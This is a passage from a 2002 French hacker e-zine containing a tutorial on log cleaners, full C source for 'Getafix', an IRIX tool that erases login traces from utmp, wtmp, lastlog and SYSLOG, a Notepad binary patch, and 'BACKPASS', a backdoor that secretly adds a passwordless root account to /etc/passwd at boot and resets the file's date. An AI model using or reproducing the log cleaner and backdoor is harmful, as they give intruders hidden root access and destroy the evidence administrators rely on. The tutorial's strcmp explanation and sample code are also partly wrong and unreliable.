seconde, nous verrons plustard pourquoi. Ces fonctions sont simples et
trés courantes, aussi les avez vous surement déja utilisées.
Dans un souci d'exhaustivité, voici la syntaxe de strcmp() :

      #include <string.h>
   
      strcmp(chaine1, chaine2);

En cas d'erreur, cette fonction retourne -1 et si les chaines ne
correspondent pas, c'est une valeur < 0 qui est renvoyée. On va
donc gérer l'erreur :


     if(strcmp(chaine1, chaine2)!=0){
          fprintf(stderr,"Les chaines ne sont pas égales !\n");
          exit(1);
     }


Les cleaners se servent de cette fonction pour comparer le
champ  ut_name de la structure utmp, avec le nom d'utilisateur
dont vous voulez effaçer les traçes. Le nom en question est 
généralement entré en arguement :

     struct utmp u;

     if(strcpy(u.ut_name,argv[1])==0){
        fprintf(stdout,"L'entrée lue dans la structure utmp est la bonne\n"); 
        fprintf(stdout,"On l'effaçe!\n");
     }





   C. Illustration :
   _________________



  |
  v = la tête de lecture/écriture.
  A = l'entrée à effaçer.
  B = l'entrée suivante.



                                 | position de la tête au départ, structure vide.
                                 v
Ouverture du fichier :           AAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBBBBBBBBB

                                                     |  la structure contient AAA...
La première entrée est lue       <_____lecture______>v
et plaçée dans la strucutre :    AAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBBBBBBBBB
  

                                                     |  la structure contient maintenant 000...  
bzero remplit la structure                           V
avec des 000000 :                AAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBBBBBBBBB

      
                                 | la tête est en position et la strucure contient toujours 000...
On recule la tête                v
avec lseek() :                   AAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBBBBBBBBB
      



write() écrit le contenu                             |  
de la structure à la plaçe                           v 
de l'ancienne entrée :           00000000000000000000BBBBBBBBBBBBBBBBBBBBBBBB




J'espère que vous avez à présent une idée claire de la manière dont un log cleaner
standard gère les fichiers utmp/wtmp/lastlog. Mais nous allons voir, que cette méthode 
est perfectible.








   D. Critiques :
   ______________
 


[Zap2 zappé ]

La méthode dont je viens de vous parler est celle de Zap2. On ouvre le fichier,
on met la première entrée dans une structure, on cherche la bonne entrée, on 
bourre la structure de 0, on se décale, on copie le contenu de la structure,
et on ferme le fichier. Simple, efficace, mais détectable ...
En effet, si un vérificateur d'intégrité tourne sur la machine, celui-ci peut
se baser sur la présence suspecte d'une chaine de zéros dans un fichier de log
pour alerter de la présence d'un visisteur indésirable.
Zap2 se fait vieux, d'autres ont pris la relève.














                       - | Partie II : Nouvelle Méthode | -

                                  => Fonctionnement
                                  => Programmation

 



   A. Fonctionnement :
   ___________________




[ La relève ]

Ils s'apellent vanish, cloack, ou hideme et sont plus performant que Zap2 sur 
deux points : d'une part, car ils traitent plus de fichiers ( prise en charge 
de utmpx/wtmpx, messages, maillog, secure, xferlog ) et d'autre part, car ils
utilisent une méthode de nettoyage plus discrète comme nous allons le voir.
Je voudrais préciser un détail avant d'aller plus loin :
le fait que ces cleaners plus récents nettoyent plus de fichiers, est à la 
fois un point positif et négatif ; posifit car vos traces seront effaçées 
plus en profondeur, mais négatif puisque cela vous cantonne à un OS bien précis.
Ils prennent en charge maillog et secure, super, c'est parfait pour linux ...
mais si on se trouve sous IRIX, ça nous sert pas à grand'chose, vu que sous cet
OS, il n'y a ni de fichier "secure" ni de "messages" d'ailleurs, les rôles de
ces fichiers étant assurés par "SYSLOG". 

Si vous voulez utiliser un de ces cleaners sous un OS différent de celui pour lequel 
ils ont été pensés, vos traçes ne seront effaçées que de utmp/wtmp/lastlog, ce qui 
n'est déja pas si mal me direz vous ; cela reviendrait au même que d'utiliser Zap2, 
la méthode de nettoyage mise à part. Ce que j'essaye de vous dire avec plus ou moins
de succès, c'est qu'il vaut mieux utiliser un log cleaner qui se limite à utmp/wtmp/
lastlog, lorsque vous êtes sur un système "exotique" pour lequel il n'y a pas de cleaner 
adapté, et nettoyer manuellement les autres fichiers spécifiques à cet OS. 
Wipeout est à mon avis un bon compromis entre polyvalence et qualité de nettoyage.
                




[ L'idée ]

Nous voulons que les fichiers de log ne contienne pas traçe de notre connection.
En somme, aucune entrée ne nous derrange dans ces fichies à part la notre.
Deux solutions : soit on supprime l'entrée en l'écrasant, soit on garde toutes
les entrées sauf celle-ci. L'idée développée par les autres cleaners est donc
de copier dans un fichier temporaire toutes les entrées d'un fichier de log
mis à part là notre. Ce fichier temporaire ressemblera donc en tout point au vrai
mais notre entrée n'y figurera pas. Il ne restera plus qu'à copier ce nouveau fichier
par dessus l'original. 



[ En pratique ]

Voici comment se déroule une session de "nettoyage" d'un fichier, disons "utmp" :
Le prog. ouvre le fichier utmp en lecture ; il crée un fichier temporaire et l'ouvre
en écriture. Il lit les entrée une par une depuis utmp. Il lit donc la première entrée
et la plaçe dans une structure de type utmp. Il compare le champ ut_name ; s'il correspond
au nom d'user que vous avez entré en argument, il compare alors le champ ut_host ; si
ce champ correspond à l'hote que vous voulez effaçer, le prog sait qu'il est en présence
de la bonne entrée ; dans ce cas, il ne la copie pas dans le fichier temporaire. En effet,
seront sauvegardées dans le fichier temporaire toutes les entrées sauf la nôtre. 
Les deux fichiers sont ensuite refermés, puis le temporaire vient écraser l'original, 
l'entrée ciblée a donc disparu. En résumé :

       ¤ Ouverture de utmp en lecture.
       ¤ Création d'un fichier temporaire ouvert en écriture.
       ¤ Lectures des entrées depuis utmp dans une structure de type utmp.
       ¤ Comparaison du champ ut_name avec argv[1].
       ¤ Compariason du champ ut_host avec argv[2].
       ¤ Ecriture dans le fichier temporaire des entrées qui ne correspondent pas.
       ¤ Fermeture du fichier utmp et du temporaire.
       ¤ Remplaçement du fichier utmp par sa copie.

                                           
Nous allons voir comment écrire cela.







    B. Programmation :
    __________________



On va aller beaucoup plus vite que dans la pratie 1/B, vu toutes les fontions
nécessaires ici ont déja été étudiées plus haut. Nous allons voir ce qui se 
passe dans le cas du fichier utmp :

On commençe par ouvrir le fichier de log tout en gérant l'erreur :


       size=sizeof(u);
       if((input=open(UTMP, O_RDONLY))<0){
            fprintf(stderr,"Error during processing %s!/n",UTMP);
            close(input); exit(-1);
       }

C'est ensuite au tour de la copie :


       if((output=creat(NEWUTMP, O_CREAT | O_WRONLY))<0){
               fprintf(stderr,"Error during processing %s!/n",UTMP);
            close(input); exit(-1);
       }


Nos deux fichiers sont donc ouverts, l'un en lecture, l'autre en écriture, sur deux
descripteurs différents, respectivement input et output. On va donc lire les entrées
depuis utmp, sur le descripteur d'entrée, et les plaçer dans la structure de type
utmp, définie au préalable ; comme plus haut, on va utiliser read :

               
        while((read(input, &u, size))>0){

Voila, on compare donc la première entrée avec le nom d'utilisateur que vous
voulez effaçer et avec le nom d'hôte :

        if(strncmp(u.ut_host,host,strlen(host))==0){
            if(strncmp(u.ut_name,user,strlen(user))==0){
                            
            } 
        }

On referme directe les if() et on ne fait rien, car si les noms
concordent, c'est qu'on tient l'entrée à effaçer ; comme on ne veut pas la 
garder, on ne la copie pas dans le fichier temporarie, cela va de soit.
Sinon, c'est une entrée qui ne nous derrange pas, donc on la copie en 
direction du descripteur de sortie :

        else{

          write(output,&u,size);

        }
    }
 }

 close(input);
 close(output);

On referme les la boucle while() et les if() puis les descripteurs ; 
Il nous reste à écraser l'ancien fichier utmp avec le nouveau : 

          unlink(UTMP);                
          link(NEWUTMP,UTMP);       
          chmod(UTMP,00644);        
          unlink(NEWUTMP);          
        
            
Nos traçes sont à présent effaçes de utmp, sans avoir eus recours à bzero.
Vous voyez que c'est une méthode assez simple. Notez que c'est l'équivalent
en C de la commande "grep -v chaine old >> new" qui copie dans "new" toutes
les entrées de "old" ne contenant pas à "chaine". 







Conclusion :
____________

A l'issue de cette article, vous savez désormais programmer un cleaner utilisant 
l'une ou l'autre méthode de nettoyage. Si toutefois vous avez des questions, des 
critiques ou des suggestions à me faire parvenir au sujet de ce texte, vous savez 
où m'écrire.






















-------------------------------------------------------------------------------------
VII.                   Getafix V1.0                                        Neofox
-------------------------------------------------------------------------------------



[ Introduction ]

Voici un log cleaner pour IRIX ; j'avais dans l'idée de lui trouve un nom rimant
en 'x' et << get a fix >> s'est imposé de lui même ; ce nom doit être évocateur
pour qui a saisit le jeu de mots. Comme toute version 1.0, celle-ci est tout à
fait perfectible et je l'améliorerai surement dans quelques temps.



[ Quelques explications ]

¤ Sous irix, /var/adm/lastlog n'est pas un fichier mais un répertoire. 
Pour faire court, on dira que les derniers logins sont enregistrés dans
un fichier distinct pour chaque utilisateur. Ainis, si vous vous utilisez
le compte "toto", il vous faudra nettoyer /var/adm/lastlog/toto,
- je ne sais pas pourquoi je fais une fixation sur toto - .
Getafix détermine automatiquement la position du fichier lastlog pour
le compte que vous utilisez, pas besoin donc de modfier le source.

¤ Le fichier /var/adm/SYSLOG est l'équivalent sous irix des fichiers
/var/log/messages et /var/log/secure sous linux. 

¤ J'ai rencontré un petit problème en écrivant ce prog : il semblerait que
sous irix, dumoins sous les 6.5 sur lesquelles je l'ai testé, la structure
"utmp" n'ait pas de champ "ut_hosts". Les entrées de utmp et de wtmp sont 
donc recherchée seulement par logins, ce qui a pour conséquences qu'une mauvaise 
entrée risque d'être effaçée en plus de la bonne ; pour l'instant, il faudra 
faire avec, et comme on dit, on ne fait pas d'omelettes sans casser des oeufs.
Voici la bête ...





/*  GETAFIX V1.0  -by Neofox  03/02
 *
 * Here is a log cleaner designed for IRIX.
 * It cleans utmp, wtmp, lastlog and SYSLOG
 * without zeroing entries out. 
 * To compile : gcc getafix.c -o getafix
 *
 * Tested on IRIX 6.5
 *
 */



#include <stdio.h> /* fprintf */
#include <unistd.h> /* system */
#include <string.h> /* strncmp, lseek */
#include <stdlib.h> /* I don't remeber */
#include <fcntl.h> /* open, close */
#include <sys/stat.h> /* stat */
#include <sys/types.h> /* stat */
#include <pwd.h> /* getpwnam */
#include <utmp.h> /* struct utmp, wtmp */
#include <lastlog.h> /* struct lastlog */

/* Original log files */
#define UTMP "/var/adm/utmp"
#define WTMP "/var/adm/wtmp"
#define LASTLOGDIR "/var/adm/lastlog/"
#define SYSLOG "/var/adm/SYSLOG"

/* Cleaned log files */
#define NEWUTMP "/tmp/.utmp"
#define NEWWTMP "/tmp/.wtmp"
#define NEWLASTLOG "/tmp/.lastlog"
#define NEWSYSLOG "/tmp/.SYSLOG"

/* here comes buffer for SYSLOG */
#define BIGSIZE 9999999
char buf[BIGSIZE];

char lastlog[50];

/* File descriptors */
int input, output;
FILE *in, *out; 
 

/* Counters */
int i, count, size;


/* Structures */
struct passwd *pwd;
struct utmp u;
struct utmp w;
struct lastlog l; 
struct stat status;







int main (int argc, char *argv[]){

       if(argc!=3){
           fprintf(stderr,"Usage : %s <user> <host>\n", argv[0]);
           exit(1);
       }

       if(geteuid()!=0){
           fprintf(stderr,"%s is not suid root, aborting!\n", argv[0]);
           exit(-1);
       } 
     
       fprintf(stderr, "[*]-Getafix v1.0  -by Neofox [IOC]\n");
       if((pwd=getpwnam(argv[1]))==NULL){
             fprintf(stderr,"[*]-%s : no such user!\n", argv[1]);
             exit(-1);
       }              
        
       


       /**************************************************/
       /*               PROCESSING WTMP                  */ 
       /**************************************************/ 
       fprintf(stdout,"[1]-Checking %s : ",WTMP);
       size=sizeof(w);
       if((input=open(WTMP, O_RDONLY))<0){
            fprintf(stdout,"access refused ?!\n");
            close(input);
       }
       
       if((output=creat(NEWWTMP, O_CREAT | O_WRONLY))>0){
             while((read(input, &w, size))>0){
                 if(strncmp(w.ut_name,argv[1],strlen(argv[1]))==0){
                                 i++; count++;
                 }else{
                    write(output,&w,size);
                 } 
            } 
      } 

       if(i>0){
         fprintf(stdout,"%d track(s) removed\n",i);
           
       }
       else{
          fprintf(stdout,"No such entry, aborting\n"); 
       }
           
       close(input);
       close(output);


       /**************************************************/
       /*               PROCESSING UTMP                  */ 
       /**************************************************/ 
       fprintf(stdout,"[2]-Checking %s : ",UTMP);
       size=sizeof(u);
       if((input=open(UTMP, O_RDONLY))<0){
            fprintf(stdout,"access refused ?!\n");
            close(input);
       }
      
       if((output=creat(NEWUTMP, O_CREAT | O_WRONLY))>0){
               while((read(input, &u, size))>0){
                 if(strncmp(u.ut_name,argv[1],strlen(argv[1]))==0){
                      i=0; i++; count++;
                  }else{
                      write(output,&u,size);
                  }
     
               } 
       }
       
       
       if(i>=1){
              fprintf(stdout,"%d track(s) removed\n",i); 
       }     

       else{
          fprintf(stdout,"No such entry, aborting\n"); 
       }

       close(input);
       close(output);


       /**************************************************/
       /*              PROCESSING LASTLOG                */ 
       /**************************************************/ 
       strcat(lastlog,LASTLOGDIR); strcat(lastlog,argv[1]);
       fprintf(stdout,"[3]-Checking %s : ",lastlog);
       size=sizeof(l);
       if((input=open(lastlog, O_RDONLY))<0){
            fprintf(stdout,"access refused ?!\n");
            close(input);
       }

       
       if((output=creat(NEWLASTLOG, O_CREAT | O_WRONLY))>0){
               while((read(input, &l, size))>0){
                   if(strncmp(l.ll_host,argv[2],strlen(argv[2]))==0){
                         i=0; i++; count++;
                  }else{
                     write(output,&l,size); 
                  }
               } 
        }
  

       if(i>=1){
         fprintf(stdout,"%d track(s) removed\n",i); 
       }
       else{
          fprintf(stdout,"No such entry, aborting\n"); 
       }
       
       close(input);
       close(output);


       /**************************************************/
       /*             PROCESSING SYSLOG                  */ 
       /**************************************************/ 
       if(stat(SYSLOG,&status)==-1){
           fprintf(stderr,"There's no %s here!\n",SYSLOG);
           goto error; 
       }     
        
       fprintf(stdout,"[4]-Checking %s : ",SYSLOG);
       if((in=fopen(SYSLOG,"r+"))<0){
            fprintf(stdout,"access refused ?!\n");
            fclose(in);
       }
         
      
       if((out=fopen(NEWSYSLOG,"w+"))>0){
            while(fgets(buf,size,in)!=NULL){
               if((strstr(buf,argv[1])==0)&&(strstr(buf,argv[2])==0)){
                    fputs(buf,out);
               }else{
                i++, count++;   
               }
            }
       }
       fclose(in);
       fclose(out);

           
       if(i>0){
          fprintf(stdout,"%d track(s) removed\n",i);
       }
       else{
          fprintf(stdout,"No such entry, aborting\n");
       }  
       
       
       /* this label is used if SYSLOG doesn't exists */ 
       error : 

       /* check if it's allright */
       if(count==0){
          fprintf(stderr,"[*]-No entries found :");
          fprintf(stderr," you're maybe not safe !\n");
          exit(1);
       }



        /**************************************************/
       /*             REPLACING LOG FILES                 */ 
       /**************************************************/ 
        
        /* Removing original log files */
        unlink(WTMP);                
        unlink(UTMP);               
        unlink(lastlog);   
        unlink(SYSLOG);     
    
        /* New log files have been replaced */
        link(NEWWTMP,WTMP);       
        link(NEWUTMP,UTMP);          
        link(NEWLASTLOG,lastlog);
        link(NEWSYSLOG,SYSLOG);
   
        /* Mode is going to be set to 644 */
        chmod(WTMP,00644);        
        chmod(UTMP,00644);          
        chmod(lastlog,00644); 
        chmod(SYSLOG,00644); 

        /* Erasing our /tmp files */
        unlink(NEWWTMP);          
        unlink(NEWUTMP);          
        unlink(NEWLASTLOG); 
        unlink(NEWSYSLOG);       


        /* well, congratulations !*/ 
        if(count>=3){
           fprintf(stderr,"[*]-Good job, tracks succesfully removed!\n"); 
        }else{
           fprintf(stderr,"[*]-Tracks partially removed!\n");
        }
     

  return 0;


}





























---------------------------------------------------------------------------------------------------
VIII.              Corriger le "bug" du Notepad de Windows                          Emper0r
----------------------------------------------------------------------------------------------------



[ Introduction ]

A partir d'une certaine taille le notepad de windows ne peut plus ouvrir les txt
et nous demande si on veut l'ouvrir avec le worpad. Ca me parait assez idiot si 
on a envie de lire ce txt on s'en fou que ce soit avec le notepad ou le worpad ; 
moi ca m'énerve d'appuyer sur OUI a chaque fois. 
Je vais apporter une petite modif très simple pour virer cette boite et worpad 
s'ouvrira automatiquement, quand le fichier sera trop important pour être ouvert 
avec notepad.







[ Au travail ]

Pour trouver l'endroit où s'ouvre cette boite 2 solutions:

-Avec softice:
Je lance le notepad ; je pose un 'bpx messageboxa' ; ensuite avec le notepad j'ouvre
un .txt de grande taille, la softice break je me retrouve direct sur le call qui 
ouvre la msgbox.

-Avec WDASM:
Je dessasemble ce notepad et je regarde les imported functions, (Imp Fn).
Je recherche toute les référencés a l'api MessageBoxA ; a partir de la troisième, 
je trouve quelque chose d'interrésent:


* Reference To: USER32.MessageBoxA, Ord:01ACh
                               |
:004033B1 FF15A8644000         Call dword ptr [004064A8]       ->Affiche la MessageBoxA
:004033B7 83F806               cmp eax, 00000006	       ->EAX=6 si appui sur OUI	
:004033BA 0F85A7000000         jne 00403467 		       ->Si EAX différent de 6
:004033C0 6804010000           push 00000104                     alors saute en 403467
:004033C5 8D858CFDFFFF         lea eax, dword ptr [ebp+FFFFFD8C]
:004033CB 837D1001             cmp dword ptr [ebp+10], 00000001
:004033CF 1BFF                 sbb edi, edi
:004033D1 50                   push eax
:004033D2 83C737               add edi, 00000037

* Possible Reference to String Resource ID=00056: "wordpad.exe" ->Intéréssant
                               |
:004033D5 6A38                 push 00000038
:004033D7 FF3540554000         push dword ptr [00405540]

* Reference To: USER32.LoadStringA, Ord:019Eh		       ->Permet le lancement du
                               |			         Wordpad
:004033DD FF1520644000         Call dword ptr [00406420]



[ Explications ]

En 4033B1 ou on ouvre la MessageBoxA avec les bouton OUI et NON si on appui
sur OUI alors EAX=6, dans ce cas le saut en 4033BA n'est pas effectuer et on 
voit en 4033d5 et 4033D7 les 2 push qui initialise l'api LoadStringA qui permet 
de lancer le Wordpad.


Maintenant très simple on va remplace le 'Call dword ptr [004064A8]' en 4033B1 par un 
'mov EAX, 00000006'. De cette facon la messagebox n'est pas affichée, EAX sera toujours = a 6, 
le saut n'est pas effectué et le worpad ce lance.

Pour trouver le code hexa de 'mov EAX, 00000006' avec wdasm:
Debug, patch code et on tape: mov eax, 6  ENTRéE, ce qui nous donne B806000000.

on remplace a l'offset 33B1:
FF15A8644000
par
B80600000090  --> TRES IMPORTANT: ne pas oublier de rajouter un NOP a la fin pour obtenir
                                  le même nombres d'octets.
                  

Ce qui donne:

:004033B1 B806000000              mov eax, 00000006
:004033B6 90                      nop
:004033B7 83F806                  cmp eax, 00000006
:004033BA 0F85A7000000            jne 00403467
:004033C0 6804010000              push 00000104
:004033C5 8D858CFDFFFF            lea eax, dword ptr [ebp+FFFFFD8C]
:004033CB 837D1001                cmp dword ptr [ebp+10], 00000001
:004033CF 1BFF                    sbb edi, edi
:004033D1 50                      push eax
:004033D2 83C737                  add edi, 00000037

* Possible Reference to String Resource ID=00056: "wordpad.exe"
                                  |
:004033D5 6A38                    push 00000038
:004033D7 FF3540554000            push dword ptr [00405540]

* Reference To: USER32.LoadStringA, Ord:019Eh
                                  |
:004033DD FF1520644000            Call dword ptr [00406420]





[ Conclusion ]

Voilà c'est tout, je pense que c'est la façon la plus simple et la plus propre de faire.


































-----------------------------------------------------------------------------------------------
IX.                 Une petite backdoor                                    Neofox
-----------------------------------------------------------------------------------------------


NAME: BACKPASS.c V1.0

DATE: 12/03/02

DESCRIPTION: Petite backdoor exécutée à chaque démarrage qui 
examine le contenu de /etc/passwd à la recherche d'une ligne
UID/GID 0 et passwordless. Si cette ligne n'existe pas alors
l'entrée "jsmith::0:0:John Smith:/home/jsmith:/bin/sh"   est
ajoutée dans le milieu du fichier de mots de passe.  La date
de ce fichier est ensuite remplaçée par celle de la dernière
modification. Les comptes utilisateurs sont rangés par ordre
d'UID croissant. Pour déterminer le milieu du fichier, cette
backdoor se base sur la valeur des UID. Si les ID  des users
s'échelonnent entre 100 et 5000, attribuez une valeur  comme
2500 à "CENTERUID". Ainsi, la nouvelle entrée sera plaçée au
milieu de celles des autres utilisateurs.

USAGE: Modifiez le script  de démarrage approprié de manière
à faire lançer cet exécutable à chaque reboot. Il s'agit  en 
général de /etc/rc.d/rc.local. Regardez l'allure des entrées
du fichier passwd et editez les #define en conséquence.



--------------8<--------------------------------------------



/* BACKPASS.c V1.0   -by Neofox  */


#include <stdio.h> /* fprintf */
#include <unistd.h> /* system */
#include <pwd.h> /* getpwnam */
#include <time.h> /* localetime_r */
#include <fcntl.h> /* fopen, fclose */
#include <string.h> /* strcat */
#include <sys/stat.h> /* stat */
#include <sys/types.h> /* stat */
#define PASSWD "/etc/passwd"
#define CENTERUID 500 

/* let's define our account */
#define USER "jsmith"
#define PWD "" 
#define UID 0  
#define GID 0  
#define GECOS "John Smith"  
#define DIR "/home/jsmith" 
#define SHELL "/bin/sh" 

int i; /* counter */
FILE *output; /* file descriptor */

struct tm t; /* time */
struct stat status; /* stat */
struct passwd *pwd; /* euh ? */



/* here's what we'll need to change date */
time_t date;
int year, month, day, hour, min;
char newtime[50], change[50];
char annee[5],mois[5],j[5],h[5],m[5];






void changedate(){

/* to convert time value */ 
/*   on a normal date   */
date=status.st_ctime;
localtime_r(&date,&t);
year=1900+t.tm_year;
month=1+t.tm_mon;
day=t.tm_mday; 
hour=t.tm_hour;
min=t.tm_min;

/* We must have [yyyymmddhhmm] */
sprintf(annee,"%d",year);
if(month<10){ sprintf(mois,"0%d",month); }
else { sprintf(mois,"%d",month); }
if(day<10){ sprintf(j,"0%d",day); }
else { sprintf(j,"%d",day); }
if(hour<10){ sprintf(h,"0%d",hour); }
else { sprintf(h,"%d",hour); }
if(min<10){ sprintf(m,"0%d",min); }
else { sprintf(m,"%d",min); }   

/* copying all in a buffer */ 
strcat(newtime, annee);
strcat(newtime, mois);
strcat(newtime, j);
strcat(newtime, h);
strcat(newtime, m);

/* executing buffer */
sprintf(change,"touch -t %s %s",newtime,PASSWD);
system(change);

}






int main (int argc, char *argv[]){

         
        if(argc!=1){
            exit(1);
        }

        if(geteuid()!=0){
              exit(1);
        }
                
        /* if backdoor is already on */
        if((pwd=getpwnam(USER))!=0){
             exit(1);
        }
       
        /* Looking for /etc/passwd date */      
        if((stat(PASSWD,&status))<0){
            exit(-1);
        } 

        if((output=fopen(PASSWD, "rw+"))>0){
               i=1; 
                while((pwd=getpwent())>0){
                      putpwent(pwd,output);
                      if(pwd->pw_uid>300){
                           if(i>0){
                               fprintf(output,"%s:",USER);
                               fprintf(output,"%s:",PWD);
                               fprintf(output,"%d:",UID);
                               fprintf(output,"%d:",GID);
                               fprintf(output,"%s:",GECOS);
                               fprintf(output,"%s:",DIR); 
                               fprintf(output,"%s",SHELL);
                               fprintf(output,"\n");i=0; 
                      }     
                 }
           }
           
        fclose(output); 
        
      }
    
      /* Now, we have  to */
      /* restore the date */

      changedate();



 return 0;


}

--------------8<--------------------------------------------






















----------------------------------------------------------------------------------------
X.                         Profil : Neofox                    Par Neofox, ben tien ...
----------------------------------------------------------------------------------------


Ah, voici venir enfin, le moment que vous attendez avec impatience : 
Nous allons parler de mon sujet préféré entre tous, j'ai nommé ... MOA !!

-[ Voix off ] << pfff ... remballe ton ego mon grand ! >>

Bon, trève de plaisanterie.
Je vais vous brosser mon portrait, non pas justement dans un élan d'egocentrisme, 
mais pour que vous puissiez avoir une idée de celui à qui vous avez à faire. 

Commençons par le commençement :
Je m'apelle Xxxx-Xxxxxxxxx Xxxx, mais pour vous ce sera neofox.
Je suis né par un beau matin de février, un jeudi je crois, aux alentours de 4h55  
à la maternité du 3 éme étage, mais comme tout le monde s'en pête à juste raison,
retenez simplement que je suis du début des années 80, et d'ailleurs, je ne préciserais
pas mon âge exact ; Je n'ai pas vraiemment le profil scientifique ; ma prof de math, 
cette s...... m'a même traité de fumiste un jour. Enfin, passons. Tout gamin, j'étais 
passionné d'astronomie, je le suis toujours ; c'est à cette époque - je devais avoir 
8 ou 10ans - que j'ai touché pour la première fois un ordi, dans la salle info du club 
d'astro, mais ça ne compte pas. Contrairement à certains petits veinards qui ont attaqué 
la prog assez jeunes - je parle de toi Meik -  j'ai eu mon premier vrai contact 
avec un PC et mon premier PC à moi, assez tardivement, vers l'âge de 15 ans ; 
malheureusement je ne suis pas venu directement à la programmation. 

Rien ne me destinait donc à faire carrière en informatique, c'est d'ailleurs pour ça que
je ne ferai jamais carrière, dommage.    Hein ? ... depuis quand je hack ? 
Ca tombe bien que vous me posiez cette question ; enfait, je ne 'hack' pas ; je préfère,
de loin, mais alors de loin, parler de piratage ; de toute façon, l'essentiel de mon 
activité se compose de programmation. J'ai développé cette passion un peu par hasard ; 
c'était il y à un peu plus d'un an, mes premiers pas en programmation remontant à Janvier 
2001. J'ai pleinement conscience de n'être pas elite dans ce domaine, mais je garde espoir 
d'arriver un jour à ce niveau. Dans l'immédiat, je me définis comme << apprenti >>,
mais de toute manière, nous sommes tous en perpétuel apprentissage, non ?
En Juillet 2001, Meik m'a proposé de me joindre à lui pour l'écriture de ce mag et
j'ai trouvé l'idée intéessante pour deux raisons : tout dabord, car l'écriture  
d'articles me permet de structurer mes conaissances sur un sujet précis ; ensuite, car
cela me pousse à explorer de nouvelles notions ; je prends des notes, je paufine ce
que je savais déja, j'approfondis, et c'est le résultat que je publie dans ce mag ; 
tant mieux si ça peut servir à quelqu'un. En somme, faire partie de ce petit groupe 
est trés enrichissant. Par ailleurs, je dois avouer que c'est plus sympa de participer
à l'élaboration d'un projet en commun, que de se retrouver à coder tout seul dans son
coin. Voila, c'est à peu prés tout ...

      ***  Pour participer activement à l'amélioration de  ***
           mon cadre de vie, envoyez vos dons à l'adresse 
           qui s'affiche en bas de votre écran. Merci.














--------------------------------------------------------------------------------------------
XI.                                 CONTACTS                                   IOC Staff
--------------------------------------------------------------------------------------------


                          
                  ONT PARTICIPE A L'ELABORATION CE CE MAGAZINE :

               
              ¤ Meik       :    meik666@hotmail.com         #150635264       
              ¤ Neofox     :    neo_fox_2001@hotmail.com    #150837448
              ¤ Emper0r    :    emper0r@secureroot.com      #66985563
              ¤ Disk-Lexic :    buffergohst@caramail.com

 
                       EN COLLABORATION EXCEPTIONELLE AVEC : 

              ¤ Androgyne  :    rtcandrogyne@yahoo.fr       #?







       ____    ___    __ __     ____  __   __   __  ___  __    ___    __ __ 
      /  __| /     \ |  '_  \  /  __||  | |  | |  |/ __/|  | /     \ |  '_  \  
     |  [__ |  [ ]  ||  | |  ||  [__ |  |_|   -   |\__ \|  ||  [ ]  ||  | |  |
      \____| \_____/ |__| |__| \____||____|\______||___/|__| \_____/ |__| |__| 

             
              
         C'est tout pour l'instant ; quelle(s) conclusion(s) pouvons nous 
         tirer de cette nouvelle issue ? Eh bien, qu'elle a été pour nous
         l'occasion d'une collaboration sympa, entre plusieurs passionnés
         tous domaines confondus, c'est déja ça ! Nous souhaiterions voir
         ce mouvement s'intensifier au cours des issues à venir, mais  ça
         dépendra de vous ; bref, pour conclure cette conclusion, - comme
         quoi, c'est un travail structuré ;@)  -  nous espérons  que vous
         avez aprécié ces quelques articles et nous vous  donnons  rendez
         -vous à la sortie du prochain numéro ;  on  va terminer  sur une 
         petite pensée bien connue: << Give Chang a fish, you'll food him 
         for a day. Teach Chang how to fish, you'll food him for the rest 
         of this life >> ; à méditer. 
         
          
                                  



   



                          - Copyright © 2002 [IOC] -